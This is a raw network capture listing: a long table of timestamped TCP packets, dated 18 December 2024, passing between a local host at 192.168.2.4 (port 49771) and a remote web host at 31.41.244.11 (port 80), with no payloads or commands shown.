Dec 18, 2024 17:08:22.848208904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.849137068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.849199057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.849216938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.849270105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.850166082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.850218058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.850315094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.850363016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.851275921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.851334095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.851403952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.851453066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.852344036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.852389097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.852463007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.852509975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.853432894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.853491068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.853555918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.853602886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.854538918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.854705095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.854737997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.854738951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.855635881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.855693102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.855735064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.855782986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.856710911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.856771946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.856846094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.856895924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.857786894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.857839108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.857994080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.858045101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.858903885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.858957052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.859023094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.859067917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.859982014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.860032082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.860219955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.860264063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.861186981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.861232996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.861305952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.861354113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.862207890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.862266064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.862344027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.862396955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.863302946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.863356113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.863450050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.863503933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.864489079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.864542007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.864586115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.864629984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.865473032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.865535975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.865577936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.865638018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.866579056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.866641045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.866702080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.866754055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.867717981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.867777109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.867857933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.867909908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.868762970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.868813038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.868865013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.868966103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.869900942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.869956017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.869995117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.870055914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.871021032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.871068954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.871109962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.871157885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.872049093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.872101068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.872153044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.872217894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.873159885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.873213053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.873224974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.873270988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.874305964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.874366045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.874420881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.874464989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.875430107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.875484943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.875524044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.875570059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.876454115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.876558065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.876576900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.876601934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.877480984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.877532005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.877713919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.877762079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.878931046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.878983974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.878998041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.879044056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.879970074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.880029917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.880060911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.880111933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.880837917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.880892038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.880940914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.880990982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.881988049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.882045984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.882072926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.882126093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.883018970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.883068085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.883150101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.883199930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.884080887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.884139061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.884167910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.884216070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.885126114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.885174036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.885307074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.885353088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.886356115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.886406898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.886440039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.886481047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.887334108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.887382984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.887442112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.887490988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.888427973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.888480902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.888653994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.888701916 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.889538050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.889590979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.889749050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.889796972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.890563965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.890604019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.049047947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.049262047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.049292088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.049345970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.049699068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.049755096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.049820900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.049866915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.050928116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.050980091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.051052094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.051093102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.052084923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.052135944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.052458048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.052541018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.052572012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.052695036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.053481102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.053534985 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.053603888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.053644896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.054469109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.054524899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.054701090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.054747105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.055604935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.055654049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.055778027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.055819035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.056859016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.056891918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.056914091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.056936979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.057727098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.057759047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.057782888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.057799101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.058656931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.058868885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.058909893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.058909893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.059761047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.059818983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.059859991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.059896946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.060883999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.060935974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.060975075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.061009884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.061959028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.062001944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.062067986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.062108994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.063062906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.063111067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.063249111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.063298941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.064136028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.064187050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.064259052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.064305067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.065268040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.065313101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.065428019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.065469980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.066322088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.066369057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.066457033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.066498995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.067403078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.067454100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.067552090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.067591906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.068737030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.068773031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.068950891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.069027901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.069696903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.069785118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.069840908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.070724010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.070873976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.070875883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.070952892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.071980953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.072046041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.072055101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.072191954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.073184013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.073230028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.073314905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.073374033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.074094057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.074151039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.074297905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.074379921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.075246096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.075293064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.075418949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.075464010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.076262951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.076335907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.076348066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.076402903 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.077265024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.077380896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.077445984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.077500105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.078389883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.078428984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.078531027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.078649998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.079430103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.079505920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.079618931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.079716921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.080897093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.080943108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.081013918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.081110001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.082093954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.082133055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.082237005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.082304001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.083133936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.083201885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.083268881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.083333969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.084321022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.084403038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.084419966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.084492922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.085210085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.085263014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.085355997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.085393906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.086282969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.086349010 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.086569071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.086632967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.087435961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.087508917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.087547064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.087621927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.088417053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.088496923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.088536978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.088587999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.089380026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.089436054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.089462996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.089507103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.090607882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.090678930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.090719938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.090759039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.091595888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.091635942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.091784954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.091859102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.092605114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.092660904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.092736006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.092787027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.093672037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.093719959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.093811035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.093858957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.094918013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.094973087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.094974995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.095016003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.096076012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.096141100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.096189022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.096230030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.097048044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.097129107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.097157001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.097242117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.098046064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.098112106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.098334074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.098403931 CET	49771	80	192.168.2.4	31.41.244.11
